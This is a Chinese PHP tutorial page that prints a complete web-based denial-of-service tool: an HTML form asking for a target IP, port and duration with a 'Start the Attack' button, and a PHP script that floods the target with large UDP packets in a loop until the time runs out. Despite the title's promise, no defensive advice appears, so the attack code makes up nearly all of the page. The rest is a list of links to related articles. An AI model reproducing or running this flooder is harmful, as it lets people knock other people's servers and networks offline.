php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
php imagecreatetruecolor 创建高清和透明图片代码小结
May 15 PHP
php中去除所有js,html,css代码
Oct 12 PHP
wamp下修改mysql访问密码的解决方法
May 07 PHP
解析php中的fopen()函数用打开文件模式说明
Jun 20 PHP
PHP小教程之实现双向链表
Jun 12 PHP
CodeIgniter辅助之第三方类库third_party用法分析
Jan 20 PHP
Linux系统中为php添加pcntl扩展
Aug 28 PHP
php写app接口并返回json数据的实例(分享)
May 20 PHP
thinkphp3.2实现在线留言提交验证码功能
Jul 19 PHP
php探针使用原理和技巧讲解
Sep 17 PHP
php实现QQ小程序发送模板消息功能
Sep 18 PHP
php 使用ActiveMQ发送消息,与处理消息操作示例
Feb 23 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
php实现用户在线时间统计详解
2011/10/08 PHP
ubuntu12.04使用c编写php扩展模块教程分享
2013/12/25 PHP
php使用多个进程同时控制文件读写示例
2014/02/28 PHP
phpmailer发送邮件之后,返回收件人是否阅读了邮件的方法
2014/07/19 PHP
jquery 跨域访问问题解决方法(笔记)
2011/06/08 Javascript
javascript面向对象编程代码
2011/12/19 Javascript
原生JS实现表单checkbook获取已选择的值
2013/07/21 Javascript
jquery实现点击文字可编辑并修改保存至数据库
2014/04/15 Javascript
选择复选框按钮置灰否则按钮可用
2014/05/22 Javascript
JavaScript使用FileSystemObject对象写入文本文件内容的方法
2015/08/05 Javascript
jQuery AjaxUpload 上传图片代码
2016/02/02 Javascript
基于JavaScript代码实现自动生成表格
2016/06/15 Javascript
JS调用打印机功能简单示例
2016/11/28 Javascript
AngularJS封装指令方法详解
2016/12/12 Javascript
十大热门的JavaScript框架和库
2017/03/21 Javascript
Angular2下使用pdf插件的方法详解
2017/04/29 Javascript
Vue 2.0中生命周期与钩子函数的一些理解
2017/05/09 Javascript
详解nodejs实现本地上传图片并预览功能(express4.0+)
2017/06/28 NodeJs
基于jQuery Easyui实现登陆框界面
2017/07/10 jQuery
基于JavaScript+HTML5 实现打地鼠小游戏逻辑流程图文详解(附完整代码)
2017/11/02 Javascript
JavaScript中this关键字用法实例分析
2018/08/24 Javascript
Bootstrap fileinput 上传新文件移除时触发服务器同步删除的配置
2018/10/08 Javascript
使用konva和vue-konva库实现拖拽滑块验证功能
2020/04/27 Javascript
Python求解平方根的方法
2015/03/11 Python
Python Paramiko模块的安装与使用详解
2016/11/18 Python
使用Python快速搭建HTTP服务和文件共享服务的实例讲解
2018/06/04 Python
python 实现批量xls文件转csv文件的方法
2018/10/23 Python
tensorflow的计算图总结
2020/01/12 Python
社区八一活动方案
2014/02/03 职场文书
测试工程师程序员求职信范文
2014/02/20 职场文书
走进敬老院活动总结
2014/07/10 职场文书
工作骂脏话检讨书
2014/10/05 职场文书
2015年社区妇联工作总结
2015/04/21 职场文书
Go语言-为什么返回值为接口类型,却返回结构体
2021/04/24 Golang
Python 解决空列表.append() 输出为None的问题
2021/05/23 Python
Pandas实现批量拆分与合并Excel的示例代码
2022/05/30 Python